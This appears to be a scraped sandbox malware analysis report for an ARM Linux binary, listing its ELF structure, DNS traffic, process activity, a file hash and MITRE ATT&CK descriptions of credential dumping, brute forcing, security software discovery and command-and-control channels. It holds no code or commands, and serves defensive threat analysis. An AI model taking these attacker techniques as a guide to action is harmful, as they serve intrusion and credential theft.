OS/ABI:	ARM - ABI
ABI Version:	0
Entry Point Address:	0x8190
Flags:	0x202
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	99128
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x18	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0x14fd0	0x0	0x6	AX	16
.fini	PROGBITS	0x1d080	0x15080	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x1d094	0x15094	0x2cd4	0x0	0x2	A	4
.ctors	PROGBITS	0x20004	0x18004	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x2000c	0x1800c	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x20018	0x18018	0x2e0	0x0	0x3	WA	4
.bss	NOBITS	0x202f8	0x182f8	0x65d8	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x182f8	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0x17d68	0x17d68	6.2191	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0x18004	0x20004	0x20004	0x2f4	0x68cc	3.6291	0x6	RW	0x8000	.ctors .dtors .data .bss
DYNAMIC	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Download Network PCAP: filtered – full

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 2, 2025 08:38:15.192728996 CEST	45913	53	192.168.2.14	1.1.1.1
Apr 2, 2025 08:38:15.192807913 CEST	55012	53	192.168.2.14	1.1.1.1
Apr 2, 2025 08:38:15.290143967 CEST	53	55012	1.1.1.1	192.168.2.14
Apr 2, 2025 08:38:15.294701099 CEST	53	45913	1.1.1.1	192.168.2.14

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 2, 2025 08:38:15.192728996 CEST	192.168.2.14	1.1.1.1	0x9e57	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Apr 2, 2025 08:38:15.192807913 CEST	192.168.2.14	1.1.1.1	0x2741	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 2, 2025 08:38:15.294701099 CEST	1.1.1.1	192.168.2.14	0x9e57	No error (0)	daisy.ubuntu.com		162.213.35.25	A (IP address)	IN (0x0001)	false
Apr 2, 2025 08:38:15.294701099 CEST	1.1.1.1	192.168.2.14	0x9e57	No error (0)	daisy.ubuntu.com		162.213.35.24	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: arm.elf PID: 5513, Parent PID: 5436

General

Start time (UTC):	06:38:08
Start date (UTC):	02/04/2025
Path:	/tmp/arm.elf
Arguments:	/tmp/arm.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

File Activities

File Opened

File Deleted

File Read

File Written

File Moved

Directory Enumerated

Process Activities

Process Forked

Prctl Requested

Thread Sleep

System Activities

Query System Information (uname)

Network Activities

Socket Connecting

Chronological Activities

Analysis Process: arm.elf PID: 5523, Parent PID: 5513

General

Start time (UTC):	06:38:12
Start date (UTC):	02/04/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.
Tactics:	Credential Access
Data Sources:	Application Log: Application Log Content, Command: Command Execution, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report arm.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.7dqzn5 (deleted)

/tmp/qemu-open.8KVpc5 (deleted)

/tmp/qemu-open.sMTxx2 (deleted)

/tmp/qemu-open.zfkNJ4 (deleted)

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

UDP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: arm.elf PID: 5513, Parent PID: 5436

General

File Activities

File Opened

File Deleted

File Read

File Written

File Moved

Directory Enumerated

Process Activities

Process Forked

Prctl Requested

Thread Sleep

System Activities

Query System Information (uname)

Linux Analysis Report
arm.elf